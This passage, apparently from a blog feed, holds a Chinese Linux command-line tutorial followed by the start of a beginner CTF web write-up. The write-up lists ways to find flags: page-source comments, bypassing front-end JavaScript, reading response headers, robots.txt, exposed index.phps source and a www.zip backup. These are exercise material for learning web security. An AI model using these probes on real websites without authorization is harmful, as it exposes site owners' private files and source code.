&lt;p&gt;root@songhahaha:~# 是一个 Linux 命令行提示符(prompt)，它包含了以下几个部分：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;root&lt;/strong&gt;：当前用户是 root(超级用户)。root 拥有最高的权限，可以对系统进行任何操作。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;@&lt;/strong&gt;：这是用户名和主机名之间的分隔符。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;songhahaha&lt;/strong&gt;：这表示计算机的主机名(hostname)，在这个例子中，主机名是 songhahaha。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;~&lt;/strong&gt;：这是当前工作目录，~ 表示用户的主目录。在 root 用户的情况下，它表示 /root 目录。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;#&lt;/strong&gt;：这是命令提示符，表示你以超级用户(root)身份登录。普通用户的命令行提示符通常是 $，而 # 表示具有更高权限的超级用户。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;总结：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;root@songhahaha&lt;/strong&gt;：当前用户是 root，主机名是 songhahaha。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;~&lt;/strong&gt;：当前所在的目录是用户的主目录(对于 root，通常是 /root)。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;#&lt;/strong&gt;：表示你以超级用户身份(root)在操作。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;管道&lt;/h3&gt;
&lt;p&gt;管道是一种将一个命令的输出作为另一个命令的输入的机制。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ls -l /etc | grep passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ps aux | grep process_name
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;ps aux&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ps&lt;/strong&gt;：显示当前系统上的进程信息。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;a&lt;/strong&gt;：显示所有用户的进程，而不仅仅是当前用户的。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;u&lt;/strong&gt;：显示进程的详细信息，包括用户名、CPU 和内存使用等。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;x&lt;/strong&gt;：包括没有终端的进程（即后台进程）。
这个命令会列出系统中所有进程的详细信息。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;|&lt;/code&gt;：管道符，用于将前一个命令的输出传递给后一个命令。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;grep process_name&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;grep&lt;/strong&gt;：是一个文本搜索工具，它会过滤输入中的内容，并输出与 process_name 匹配的行。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;process_name&lt;/strong&gt;：是你要查找的进程名称。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在这里，&lt;code&gt;grep process_name&lt;/code&gt; 会查找所有包含 process_name 的行，即过滤出包含指定进程名称的进程信息。&lt;/p&gt;
&lt;h3&gt;重定向&lt;/h3&gt;
&lt;p&gt;重定向是一种将命令输出重定向到文件或设备的方法。&lt;/p&gt;
&lt;p&gt;输出重定向：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ls -l /etc &amp;gt; output.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;或者&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ls -l /etc &amp;gt;&amp;gt; output.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输入重定向：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cat &amp;lt; input.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;错误重定向：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ls -l /etc 2&amp;gt; error.txt # 将错误信息输出到 error.txt 文件中
ls -l /etc 2&amp;gt;&amp;gt; error.txt # 将错误信息追加到 error.txt 文件中
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同时重定向标准输出和标准错误：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;command &amp;amp;&amp;gt; output.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;后台运行&lt;/h3&gt;
&lt;p&gt;在命令后面加上 &lt;code&gt;&amp;amp;&lt;/code&gt; 符号，可以使命令在后台运行。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;command &amp;amp;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;nohup 命令可以使命令在后台运行，并且即使退出终端也不会停止。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nohup command &amp;amp;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;基础命令&lt;/h2&gt;
&lt;h3&gt;常见命令&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;--help
命令用于显示命令的帮助信息。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ls --help
cat --help
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;ssh
命令用于安全地登录到远程计算机。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ssh user@host
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;cd
命令用于切换当前工作目录。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cd /path/to/directory
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;ls
命令用于列出目录中的文件。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ls /path/to/directory
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;常见选项：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;-l&lt;/strong&gt;：以长格式显示文件详细信息&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;-a&lt;/strong&gt;：显示所有文件，包括隐藏文件&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;-t&lt;/strong&gt;：按修改时间排序（默认最新的在前）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;-r&lt;/strong&gt;：反向排序&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;-S&lt;/strong&gt;：按文件大小排序（默认从大到小）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;-R&lt;/strong&gt;：递归列出所有子目录中的内容&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;pwd
命令用于显示当前工作目录。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pwd
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;cat
命令用于显示文件内容。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cat /path/to/file
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;mkdir
命令用于创建新目录。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;mkdir /path/to/directory
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;rmdir
命令用于删除空目录。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;rmdir /path/to/directory
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;cp
命令用于复制文件或目录。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cp source_file destination
cp -r source_directory destination # 递归复制目录及其内容
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;mv
命令用于移动文件或目录。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;mv source_file destination
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;rm
命令用于删除文件或目录。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;rm source_file
rm -r source_directory # 递归删除目录及其内容
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;touch
命令用于创建空文件或更新文件的访问和修改时间。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;touch filename
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;tar
命令用于创建、查看和提取归档文件。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 创建归档文件
tar -cvf archive.tar files/

# 查看归档文件内容
tar -tvf archive.tar

# 提取归档文件
tar -xvf archive.tar
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;wget/curl
用于下载文件的工具。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 使用 wget 下载
wget https://example.com/file

# 使用 curl 下载
curl -O https://example.com/file
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;grep
命令用于在文件中搜索文本。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 在文件中搜索文本
grep &amp;quot;pattern&amp;quot; file

# 递归搜索目录
grep -r &amp;quot;pattern&amp;quot; directory/

# 忽略大小写
grep -i &amp;quot;pattern&amp;quot; file
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;ifconfig
命令用于配置和显示网络接口信息。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 显示所有网络接口
ifconfig

# 显示特定接口
ifconfig eth0
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;df/du
命令用于显示磁盘使用情况。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 显示文件系统使用情况
df -h

# 显示目录大小
du -sh directory/

# 显示目录下各文件大小
du -h directory/
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;ping
命令用于测试网络连接。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ping hostname
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;权限和用户管理&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;chmod&lt;/p&gt;
&lt;p&gt;&lt;code&gt;chmod&lt;/code&gt; 命令用于更改文件或目录的权限。权限分为三类：&lt;strong&gt;所有者（Owner）&lt;/strong&gt;、&lt;strong&gt;所属组（Group）&lt;/strong&gt;、&lt;strong&gt;其他用户（Others）&lt;/strong&gt;。每个类别可以设置以下权限：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;读（r）&lt;/strong&gt;：允许读取文件内容或列出目录内容。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;写（w）&lt;/strong&gt;：允许修改文件内容或在目录中创建/删除文件。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;执行（x）&lt;/strong&gt;：允许执行文件或进入目录。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;权限可以用数字表示：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;4&lt;/code&gt; 代表读权限（r）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;2&lt;/code&gt; 代表写权限（w）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;1&lt;/code&gt; 代表执行权限（x）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;通过将这些数字相加，可以设置不同的权限组合。例如：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;7&lt;/code&gt; 表示读、写、执行权限（4+2+1）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;6&lt;/code&gt; 表示读、写权限（4+2）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;5&lt;/code&gt; 表示读、执行权限（4+1）&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;chmod 755 filename
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;7&lt;/code&gt;（所有者）：读、写、执行权限&lt;/li&gt;
&lt;li&gt;&lt;code&gt;5&lt;/code&gt;（所属组）：读、执行权限&lt;/li&gt;
&lt;li&gt;&lt;code&gt;5&lt;/code&gt;（其他用户）：读、执行权限&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;chown&lt;/p&gt;
&lt;p&gt;&lt;code&gt;chown&lt;/code&gt; 命令用于更改文件或目录的所有者和所属组。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;chown [选项] 所有者[:所属组] 文件或目录
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;chown user:group filename
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;将 &lt;code&gt;filename&lt;/code&gt; 的所有者更改为 &lt;code&gt;user&lt;/code&gt;，所属组更改为 &lt;code&gt;group&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;chgrp 命令&lt;/p&gt;
&lt;p&gt;&lt;code&gt;chgrp&lt;/code&gt; 命令用于更改文件或目录的所属组。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;chgrp [选项] 所属组 文件或目录
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;chgrp groupname filename
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;将 &lt;code&gt;filename&lt;/code&gt; 的所属组更改为 &lt;code&gt;groupname&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;umask&lt;/p&gt;
&lt;p&gt;&lt;code&gt;umask&lt;/code&gt; 命令用于设置默认的文件和目录创建权限。&lt;code&gt;umask&lt;/code&gt; 值是一个掩码，用于屏蔽掉某些权限。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;umask 022
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;设置默认的 &lt;code&gt;umask&lt;/code&gt; 为 &lt;code&gt;022&lt;/code&gt;，表示新创建的文件和目录的权限分别为 &lt;code&gt;644&lt;/code&gt; 和 &lt;code&gt;755&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;sudo&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sudo&lt;/code&gt; 命令允许普通用户以超级用户（root）的权限执行命令。通过合理配置 &lt;code&gt;sudoers&lt;/code&gt; 文件，可以授予特定用户或组执行特定命令的权限。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sudo apt-get update
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;以超级用户权限执行 &lt;code&gt;apt-get update&lt;/code&gt; 命令。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;useradd 和 userdel&lt;/p&gt;
&lt;p&gt;&lt;code&gt;useradd&lt;/code&gt; 命令用于创建新用户，&lt;code&gt;userdel&lt;/code&gt; 命令用于删除用户。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sudo useradd newuser
sudo userdel olduser
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;创建名为 &lt;code&gt;newuser&lt;/code&gt; 的新用户。&lt;/li&gt;
&lt;li&gt;删除名为 &lt;code&gt;olduser&lt;/code&gt; 的用户。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;passwd&lt;/p&gt;
&lt;p&gt;&lt;code&gt;passwd&lt;/code&gt; 命令用于更改用户的密码。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;passwd username
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;更改 &lt;code&gt;username&lt;/code&gt; 的密码。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;groups 命令&lt;/p&gt;
&lt;p&gt;&lt;code&gt;groups&lt;/code&gt; 命令用于显示用户所属的组。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;groups username
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;显示 &lt;code&gt;username&lt;/code&gt; 所属的组。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;usermod 命令&lt;/p&gt;
&lt;p&gt;&lt;code&gt;usermod&lt;/code&gt; 命令用于修改用户属性，如用户的主目录、登录 shell、所属组等。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sudo usermod -aG groupname username
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;将 &lt;code&gt;username&lt;/code&gt; 添加到 &lt;code&gt;groupname&lt;/code&gt; 组中。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;进程管理&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;ps
命令用于显示当前运行的进程。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 显示所有进程
ps aux

# 显示当前用户的进程
ps -ef

# 显示特定进程
ps -p PID

# 查找进程
ps aux | grep process_name
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;a&lt;/strong&gt;：显示所有用户的进程。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;u&lt;/strong&gt;：显示进程的详细信息，包括用户名、CPU 和内存使用等。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;x&lt;/strong&gt;：包括没有终端的进程（即后台进程）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;-e&lt;/strong&gt;：显示所有进程。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;-f&lt;/strong&gt;：显示完整格式。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;输出格式说明:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;PID&lt;/strong&gt;：进程的 ID。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TTY&lt;/strong&gt;：终端类型，表示进程是在哪个终端上运行的。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TIME&lt;/strong&gt;：进程使用的 CPU 时间。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CMD&lt;/strong&gt;：启动进程的命令。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;%CPU&lt;/strong&gt;：CPU 占用百分比。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;%MEM&lt;/strong&gt;：内存占用百分比。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;VSZ&lt;/strong&gt;：进程使用的虚拟内存大小（KB）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RSS&lt;/strong&gt;：进程使用的实际物理内存大小（KB）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;kill
命令用于终止进程。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 通过 PID 终止进程
kill PID

# 强制终止进程
kill -9 PID

# 通过进程名终止
pkill process_name
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;top
命令用于实时显示系统进程状态。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 启动 top
top

# 按 CPU 使用率排序
top -o %CPU

# 按内存使用率排序
top -o %MEM
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><dc:creator>LangQi99的博客</dc:creator><pubDate>Thu, 20 Mar 2025 00:00:00 GMT</pubDate></item><item><title>CTF Web 入门</title><link>https://langqi99.com/blog/web-starter/</link><guid isPermaLink="true">https://langqi99.com/blog/web-starter/</guid><description>Web 入门做题记录</description><content:encoded>&lt;blockquote&gt;For the best experience, please visit: &lt;a href=&quot;https://langqi99.com/blog/web-starter/&quot;&gt;https://langqi99.com/blog/web-starter/&lt;/a&gt;&lt;/blockquote&gt; &lt;p&gt;import Collapse from &amp;quot;../../components/mdx/Collapse.astro&amp;quot;;
import Diff from &amp;quot;../../components/mdx/Diff.astro&amp;quot;;
import Error from &amp;quot;../../components/mdx/Error.astro&amp;quot;;
import Info from &amp;quot;../../components/mdx/Info.astro&amp;quot;;
import Kbd from &amp;quot;../../components/mdx/Kbd.astro&amp;quot;;
import Success from &amp;quot;../../components/mdx/Success.astro&amp;quot;;
import Warning from &amp;quot;../../components/mdx/Warning.astro&amp;quot;;
import TimeLine from &amp;quot;../../components/mdx/TimeLine.astro&amp;quot;;
import LinkCard from &amp;quot;../../components/mdx/LinkCard.astro&amp;quot;;&lt;/p&gt;
&lt;h2&gt;Case1-注释&lt;/h2&gt;
&lt;p&gt;Flag在网页源代码&lt;strong&gt;注释&lt;/strong&gt;中&lt;/p&gt;
&lt;h2&gt;Case2-绕JS&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Javascript&lt;/strong&gt;前台拦截&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用&lt;Kbd&gt;Ctrl&lt;/Kbd&gt;+&lt;Kbd&gt;U&lt;/Kbd&gt;查看源代码&lt;/li&gt;
&lt;li&gt;禁用&lt;strong&gt;Javascript&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Case3-抓包&lt;/h2&gt;
&lt;p&gt;直接抓包即可&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;HTTP/1.1 200 OK
Server: nginx/1.20.1
Date: Thu, 20 Mar 2025 13:11:46 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Flag: flag{xxx}
X-Powered-By: PHP/7.3.11
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: Content-Type,Cookies,Aaa,Date,Server,Content-Length,Connection
Access-Control-Allow-Headers: DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization,x-auth-token,Cookies,Aaa,Date,Server,Content-Length,Connection
Access-Control-Max-Age: 1728000
Content-Length: 19

web3:where is flag?
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Case4-robots.txt&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;/robots.txt&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;User-agent: *
Disallow: /flagishere.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;/flagishere.txt&lt;/code&gt;: Flag&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/robots.txt&lt;/code&gt; 是一个文本文件，通常位于网站的根目录下，用于指示网络爬虫（如搜索引擎的爬虫）如何访问和抓取该网站的内容。它的主要作用是告诉爬虫哪些页面或目录可以抓取，哪些应该避免。&lt;/p&gt;
&lt;h3&gt;基本格式&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;/robots.txt&lt;/code&gt; 文件通常包含以下内容：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;User-agent: [爬虫的名称]
Disallow: [不允许抓取的路径]
Allow: [允许抓取的路径]
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;User-agent&lt;/strong&gt;: 指定适用的爬虫名称。&lt;code&gt;*&lt;/code&gt; 表示适用于所有爬虫。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Disallow&lt;/strong&gt;: 指定不允许爬虫访问的路径。可以是一个具体的路径或目录。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Allow&lt;/strong&gt;: 指定允许爬虫访问的路径。通常与 &lt;code&gt;Disallow&lt;/code&gt; 一起使用，用于在禁止的目录中允许某些特定的路径。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Case5-index.phps&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&amp;lt;?php

/*
# -*- coding: utf-8 -*-
# @Author: xxx
# @Date:   xxx
# @Last Modified by:   xxx
# @Last Modified time: xxx
# @email: xxx@xxx.com
# @link: xxx

*/

//flag{xxx}
echo &amp;quot;where is flag ?&amp;quot; # 会直接在浏览器显示
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;index.php&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;文件类型&lt;/strong&gt;: PHP 脚本文件。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;: 这是一个包含 PHP 代码的脚本文件，通常用于生成动态网页内容。当用户访问一个包含 &lt;code&gt;index.php&lt;/code&gt; 文件的目录时，Web 服务器（如 Apache 或 Nginx）会执行这个文件，并将生成的 HTML 内容返回给用户的浏览器。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;处理方式&lt;/strong&gt;: Web 服务器会解析并执行 &lt;code&gt;index.php&lt;/code&gt; 文件中的 PHP 代码，然后将生成的 HTML 内容发送给客户端。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;index.phps&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;文件类型&lt;/strong&gt;: PHP 源代码文件。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;: 这是一个包含 PHP 源代码的文件，通常用于展示 PHP 代码的源代码，而不是执行它。&lt;code&gt;index.phps&lt;/code&gt; 文件通常用于教学或文档目的，让开发者可以查看 PHP 代码的结构和内容。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;处理方式&lt;/strong&gt;: 当用户访问 &lt;code&gt;index.phps&lt;/code&gt; 文件时，Web 服务器不会执行其中的 PHP 代码，而是将其作为纯文本文件返回给客户端，显示源代码内容。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;主要区别&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;执行方式&lt;/strong&gt;: &lt;code&gt;index.php&lt;/code&gt; 会被服务器执行并生成动态内容，而 &lt;code&gt;index.phps&lt;/code&gt; 则会被视为纯文本文件，显示源代码。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用途&lt;/strong&gt;: &lt;code&gt;index.php&lt;/code&gt; 用于生成动态网页，而 &lt;code&gt;index.phps&lt;/code&gt; 用于展示 PHP 源代码。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;Q &amp;amp; A&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;那么在后台 管理员看到的index.php和index.phps是一样的吗?&lt;/p&gt;
&lt;p&gt;查看 &lt;code&gt;index.php&lt;/code&gt; 和 &lt;code&gt;index.phps&lt;/code&gt; 时，&lt;strong&gt;看到的内容是否一样&lt;/strong&gt;取决于管理员是通过什么方式查看这些文件的：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;通过文件管理器或 FTP 查看文件内容是 &lt;strong&gt;完全一样的&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;通过浏览器访问文件看到的内容会 &lt;strong&gt;不一样&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;通过命令行查看文件内容是 &lt;strong&gt;完全一样的&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Case6-&lt;a href=&quot;http://www.zip&quot;&gt;www.zip&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;访问 &lt;code&gt;www.zip&lt;/code&gt; 即可&lt;/p&gt;
&lt;p&gt;&lt;code&gt;www.zip&lt;/code&gt; 是一个常见的文件名，通常用于压缩和打包网站的文件和目录。它可能包含网站的HTML文件、CSS样式表、JavaScript脚本、图片、以及其他相关资源。通过将这些文件压缩成一个 &lt;code&gt;.zip&lt;/code&gt; 文件，可以方便地传输、备份或共享整个网站的内容。&lt;/p&gt;
&lt;h3&gt;用途&lt;/h3&gt;
&lt;ol&gt;
